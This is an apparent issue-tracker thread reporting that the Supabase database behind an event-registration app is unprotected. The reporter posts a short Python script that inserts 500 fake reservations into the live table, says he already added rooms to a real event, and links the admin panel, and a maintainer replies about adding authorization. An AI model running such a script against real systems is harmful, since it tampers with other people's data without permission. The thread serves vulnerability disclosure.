Supabase database seems to be unprotected

[piotr-ginal]

Sup, I wanted to bring to your attention that your Supabase database seems to be unprotected. You might want to check out the form for Wyjazd LTSP Lubawka. I've gone ahead and added some additional rooms for you ;)

If there's anything else you need or if you have any questions, feel free to reach out to me

BLOCK_ID = "<redacted>"

def main() -> None:
    supabase: Client = _load_eventownik_supabase_client()

    table_name = "reservations"

    data = []
    for _ in range(500):
        data.append({
            "blockId": BLOCK_ID,
            "firstName": "Name",
            "lastName": "Surname",
            "order": 100,
            "createdAt": "1981-05-13 17:17:55.24756+00",
        })

    supabase.table(table_name).insert(data).execute()

Admin panel for the event mentioned above:

https://eventownik.solvro.pl/event/360c65cc-2d2c-4fa8-a4b9-<redacted>/settings

[dawidlinek]

@piotr-ginal thank you for your input. Eventownik was at a stage when we just tested the concept. LTSP was out internal event so weve tested the MVP. Now we are moving to refine our product and add some functionalities like f.ex. authorization. We probaly spend some time at it, becouse its tricky, espacially becouse we use supabase.

If you want to help and you are a student from Wrocław we are currently recruting new members. Write to us at [email protected]